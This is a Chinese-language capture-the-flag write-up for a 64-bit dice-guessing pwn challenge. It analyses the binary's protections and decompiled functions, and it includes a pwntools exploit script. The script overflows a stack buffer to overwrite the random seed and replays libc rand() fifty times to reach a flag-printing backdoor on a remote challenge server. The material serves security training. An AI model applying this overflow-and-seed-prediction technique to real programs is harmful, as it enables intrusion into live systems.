首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
64位,小端序
开启全部RELRO---got表不可写
未开启canary保护---存在栈溢出
开启NX保护----堆栈不可执行
开启PIE----内存地址随机化
动态链接
ida一下
查看主函数
memset(buf, 0, 0x30uLL);意思是建立0x30大小的buf区,并用0填充
*(_QWORD *)seed = time(0LL);使每次程序运行产生的随机数种子都不同
查看sub_A20();函数
让我们输入v1,并与v2(随机数)比较,相等程序就会返回1,否则返回0,并且v1和v2范围都是1~6
在查看 sub_B28((__int64)buf);函数
后门函数,执行这个函数可获得flag
执行后门函数的条件是要v8等于50,而每次我们所输入v1等于v2,v8就加1,所以要输入50次正确的随机数
查看buf的stack区
buf距离seed(随机数种子)0x50-0x10=0x40字节,我们可以通过覆盖seed为我们想要的数字(下面覆盖为1),
然后通过调用题目中给的libc文件,调用rand()函数,生成随机数,循环50次,输入程序中就可以将使v8为50,获得flag。
exp
from pwn import *
from ctypes import *
context(os = 'linux',endian = 'little',log_level = 'debug',arch = 'amd64')
sh = remote('111.200.241.244',58461)
libc = cdll.LoadLibrary('libc.so.6') #加载libc文件
seed = 1 #设置随机数种子为1
payload = flat(['a' * 0x40,seed]) #覆盖随机数种子
sh.sendline(payload)
for i in range (50):
sh.recvuntil('Give me the point(1~6): ')
sh.sendline(str(libc.rand() % 6 + 1))
sh.interactive()
这里使用了python模块ctypes中的 cdll.LoadLibrary()方法来加载libc文件,从而调用libc中的rand()函数,生成随机数
运行获得flag
附上
python模块ctypes中的 cdll.LoadLibrary()用法
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)